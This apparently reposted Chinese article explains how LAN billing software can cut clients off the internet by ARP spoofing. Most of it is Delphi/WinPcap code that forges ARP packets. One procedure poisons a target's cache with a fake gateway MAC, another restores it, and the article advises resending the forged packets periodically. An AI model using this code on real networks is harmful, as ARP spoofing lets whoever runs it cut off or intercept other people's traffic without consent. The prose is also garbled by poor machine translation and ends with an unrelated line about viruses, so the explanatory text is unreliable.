使用arp欺騙來完成計費(fèi)技巧
發(fā)表時間:2023-07-11 來源:明輝站整理相關(guān)軟件相關(guān)文章人氣:
[摘要]早些時候收到了項目的要求, 任何局域網(wǎng)絡(luò)內(nèi)的一臺計算機(jī)上安裝一套計費(fèi)軟件, 其他客戶不必安裝任何軟件, 只要客戶接入線路將能夠發(fā)揮的帳單。 以前接觸到的計費(fèi)軟件是安裝在網(wǎng)關(guān), 或安裝客戶端軟件, ...
早些時候收到了項目的要求, 任何局域網(wǎng)絡(luò)內(nèi)的一臺計算機(jī)上安裝一套計費(fèi)軟件, 其他客戶不必安裝任何軟件, 只要客戶接入線路將能夠發(fā)揮的帳單。 以前接觸到的計費(fèi)軟件是安裝在網(wǎng)關(guān), 或安裝客戶端軟件, 如何實現(xiàn)這樣的功能?有關(guān)研究發(fā)現(xiàn), 使用欺騙ARP協(xié)議的原則才能實現(xiàn)的結(jié)算職能, 原則上是不公開上網(wǎng)功能的客戶端插件線網(wǎng)絡(luò), 第一個禁止在計算機(jī)局域網(wǎng)絡(luò)內(nèi)的互聯(lián)網(wǎng), 如客戶要求管理員, 以開放的互聯(lián)網(wǎng)功能后, 取消對客戶停止并開始計費(fèi)。 ARP協(xié)議欺騙人民不認(rèn)為奇怪, 有很多網(wǎng)上介紹ARP協(xié)議欺騙的文章, 有很多ARP協(xié)議欺騙病毒不會在這里重復(fù)的原則, 欺騙ARP協(xié)議。
如何防止局部地區(qū)指定的客戶端互聯(lián)網(wǎng)?
阿爾普偽造的要求, 設(shè)置包的機(jī)器停止對ARP表, 這樣的觀點, 網(wǎng)關(guān)MAC地址并不存在作為一個MAC地址, 這樣你就可以阻止機(jī)器上網(wǎng)。
假設(shè)要阻止的計算機(jī)是A, 安裝計費(fèi)軟件的計算機(jī)是B,網(wǎng)關(guān)是C
A機(jī)器 MAC:AA-AA-AA-AA-AA-AA IP地址:192.168.1.1
B機(jī)器 MAC:BB-BB-BB-BB-BB-BB IP地址:192.168.1.2
C網(wǎng)關(guān) MAC:CC-CC-CC-CC-CC-CC IP地址:192.168.1.253
在網(wǎng)上有好多arp例子都是c的, 我用delphi和Winpcap實現(xiàn)代碼如下:
安裝Winpcap, 引用:winsock, Packet32, shellapi單元
類型和常量定義:
type
TMacAddr = array [0..5] of byte ;
TEHHDR=packed record
Ether_Dest: TMacAddr ; {目的地址 }
Ether_Src: TMacAddr ; {源地址 }
Ether_Type:Word; {類型 }
end;
PEHHDR=^TEHHDR;
TEtherData=packed record {Ethernet packet data}
Ether_hrd:WORD; {hardware address }
Ether_pro:WORD; {format of protocol address }
Ether_hln: byte; {byte length of each hardware address }
Ether_pln: byte; {byte length of each protocol address}
Ether_op:WORD; { ARP or RARP }
Ether_sha:TMacAddr; {hardware address of sender}
Ether_spa:LongWord; {protocol address of sender}
Ether_tha:TMacAddr; {hardware address of target}
Ether_tpa:LongWord; {protocol address of target}
end;
PARPHDR=^TEtherData;
TARPPACKET=packed record
EHHDR:Tehhdr;
EtherData:TEtherData;
end ;
PARPPACKET=^TARPPACKET;
const
INADDR_NONE = $FFFFFFFF;
EPT_IP = $0800;
EPT_ARP = $0806 ;
EPT_RARP =$8035 ;
ARP_REPLY =$0002 ;
ARP_REQUEST = $0001 ;
ARP_HARDWARE =$0001 ;
function inet_addr(const cp: PChar): DWord; stdcall; external 'WS2_32.DLL' name 'inet_addr';
//別人的代碼
function HexStrtoInt(var Buf: string): dword;
//將十六進(jìn)制的字符串轉(zhuǎn)成整型
//判斷是否是十六進(jìn)制數(shù)
function IsHexChar(Chr: char): boolean;
begin
Result := (Chr in ['0'..'9']) or (Chr in ['A'..'F']);
end;
//將一個十六進(jìn)制字符轉(zhuǎn)換成數(shù)
function HexChrtoInt(Chr: char): byte;
begin
Result := 0;
case Chr of
'0'..'9' : Result := Strtoint(Chr);
'A' : Result := 10;
'B' : Result := 11;
'C' : Result := 12;
'D' : Result := 13;
'E' : Result := 14;
'F' : Result := 15;
end;
end;
var
BufLength: dword;
TempBuf: string;
Count0: dword;
begin
Result := 0;
BufLength := Length(Buf);
TempBuf := '';
if BufLength > 0 then begin
Buf := Uppercase(Buf);
// for Count0 := 1 to BufLength
if BufLength mod 2 = 1 then begin
Buf := '0' + Buf;
BufLength := Length(Buf);
end;
for Count0 := 1 to BufLength div 2 do
if IsHexChar(Buf[Count0 * 2 - 1]) then begin
if IsHexChar(Buf[Count0 * 2]) then begin
TempBuf := TempBuf + inttostr(HexChrtoInt(Buf[Count0 * 2 - 1])
* 16 + HexChrtoInt(Buf[Count0 * 2]));
end else begin
Result := Count0 * 2;
Break;
end;
end else begin
Result := Count0 * 2 - 1;
Break;
end;
if Result = 0 then Buf := TempBuf;
end;
end;
//MAC轉(zhuǎn)換
procedure GetMac(s : string;var Mac : TMacAddr);
var
hs : string;
p : integer;
i,j:integer;
begin
FillChar (Mac, SizeOf (Mac), 0) ;
i:=0;
if Length(s)=0 then
Exit;
p:=Pos('-',s);
while P<>0 do
begin
hs:=Copy(s,1,p-1);
HexStrtoInt(hs);
Mac[i]:= strtoint(hs) ;
Delete(s,1,p);
p:=Pos('-',s);
i:=i+1;
end;
if Length(s)>0 then
begin
HexStrtoInt(s);
Mac[i]:=strtoint(s);
end;
end;
{禁止上網(wǎng), 發(fā)送arp請求包,這里的C_mac為偽造的C的mac地址}
procedure SendArp(A_ip:string;A_mac:string;B_ip:string;B_mac:string;C_IP:string;C_mac:string);
var
ulMACAddr: TMacAddr;
EHHDR:TEHHDR;
EtherData:TEtherData;
pp:pPacket;
lpAdapter:Padapter;
BUF:Array [0..512] of char ;
begin
//以太網(wǎng)包首部
GetMac(A_mac,ulMACAddr);
Move(ulMACAddr , EHHDR.Ether_Dest,6);//目的地址-A計算機(jī)的地址
GetMac(C_mac,ulMACAddr);
Move(ulMACAddr , EHHDR.Ether_Src,6);//偽造的源地址-C計算機(jī)的地址
EHHDR.Ether_Type := htons(EPT_ARP);//arp包
//構(gòu)造以太網(wǎng)包數(shù)據(jù)
EtherData.Ether_hrd := htons(ARP_HARDWARE);
EtherData.Ether_pro := htons(EPT_IP);
EtherData.Ether_hln := 6;
EtherData.Ether_pln := 4;
EtherData.Ether_op := htons(ARP_REQUEST);//arp請求包
GetMac(C_mac,ulMACAddr);
Move(ulMACAddr , EtherData.Ether_sha,6);
EtherData.Ether_spa := inet_addr(Pchar(B_IP));
GetMac(B_mac,ulMACAddr);
Move(ulMACAddr , EtherData.Ether_tha,6);
EtherData.Ether_tpa := inet_addr(Pchar(B_ip));
lpAdapter := PacketOpenAdapter('\Device\NPF_{E00872C1-37C0-47CE-8472-313A5A23F896}'); // 根據(jù)
你網(wǎng)卡名字打開網(wǎng)卡, 這是我網(wǎng)卡的設(shè)備名
fillchar(BUF,sizeof(BUF),0);
CopyMemory(@BUF,@EHHDR,SIZEOF(EHHDR));
CopyMemory(Pointer(LongWord(@BUF)+SIZEOF(EHHDR)),@EtherData,SIZEOF(EtherData));
// 分配內(nèi)存
pp := PacketAllocatePacket();
//初始化結(jié)構(gòu)指針
PacketInitPacket(pp, @BUF,512);
//發(fā)arp應(yīng)答包
PacketSendPacket(lpAdapter, pp, true);
// 釋放內(nèi)存
PacketFreePacket(pp);
PacketCloseAdapter(lpAdapter);
end;
//調(diào)用示例
SendArp('192.168.1.1','AA-AA-AA-AA-AA-AA','192.168.1.2','BB-BB-BB-BB-BB-BB','192.168.1.253','00-00-00-00-00-00');
{解除阻止, 發(fā)送arp應(yīng)答包,這里的C_mac為真實的C的mac地址}
procedure SendArpReply(A_ip:string;A_mac:string;C_ip:string;C_mac:string;B_mac:string);
var
ulMACAddr: TMacAddr;
EHHDR:TEHHDR;
EtherData:TEtherData;
pp:pPacket;
lpAdapter:Padapter;
BUF:Array [0..512] of char ;
begin
GetMac(A_mac,ulMACAddr);
Move(ulMACAddr , EHHDR.Ether_Dest,6);
GetMac(B_mac,ulMACAddr);
Move(ulMACAddr , EHHDR.Ether_Src,6);
EHHDR.Ether_Type := htons(EPT_ARP);
EtherData.Ether_hrd := htons(ARP_HARDWARE);
EtherData.Ether_pro := htons(EPT_IP);
EtherData.Ether_hln := 6;
EtherData.Ether_pln := 4;
EtherData.Ether_op := htons(ARP_REPLY);//arp應(yīng)答包
GetMac(C_mac,ulMACAddr);
Move(ulMACAddr , EtherData.Ether_sha,6);
EtherData.Ether_spa := inet_addr(Pchar(C_ip));
GetMac(A_mac,ulMACAddr);
Move(ulMACAddr , EtherData.Ether_tha,6);
EtherData.Ether_tpa := inet_addr(Pchar(A_ip));
// 根據(jù)自己網(wǎng)卡的設(shè)備名打開網(wǎng)卡
lpAdapter := PacketOpenAdapter('\Device\NPF_{E00872C1-37C0-47CE-8472-313A5A23F896}');
fillchar(BUF,sizeof(BUF),0);
CopyMemory(@BUF,@EHHDR,SIZEOF(EHHDR));
CopyMemory(Pointer(LongWord(@BUF)+SIZEOF(EHHDR)),@EtherData,SIZEOF(EtherData));
// 分配內(nèi)存
pp := PacketAllocatePacket();
//初始化結(jié)構(gòu)指針
PacketInitPacket(pp, @BUF,512);
//發(fā)arp應(yīng)答包
PacketSendPacket(lpAdapter, pp, true);
// 釋放內(nèi)存
PacketFreePacket(pp);
PacketCloseAdapter(lpAdapter);
end;
//調(diào)用示例
SendArpReply('192.168.1.1','AA-AA-AA-AA-AA-AA','192.168.1.253','CC-CC-CC-CC-CC-CC','BB-BB-BB-BB-BB-BB');
需要注意的是, 發(fā)出偽造的arp請求包過一段時間后會被刷新為正確的, 所以每隔一段時間要向被阻止的機(jī)器發(fā)送一個arp包, 這樣才能達(dá)到阻止上網(wǎng)的目的。
上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識,學(xué)習(xí)了安全知識,幾乎可以讓你免費(fèi)電腦中毒的煩擾。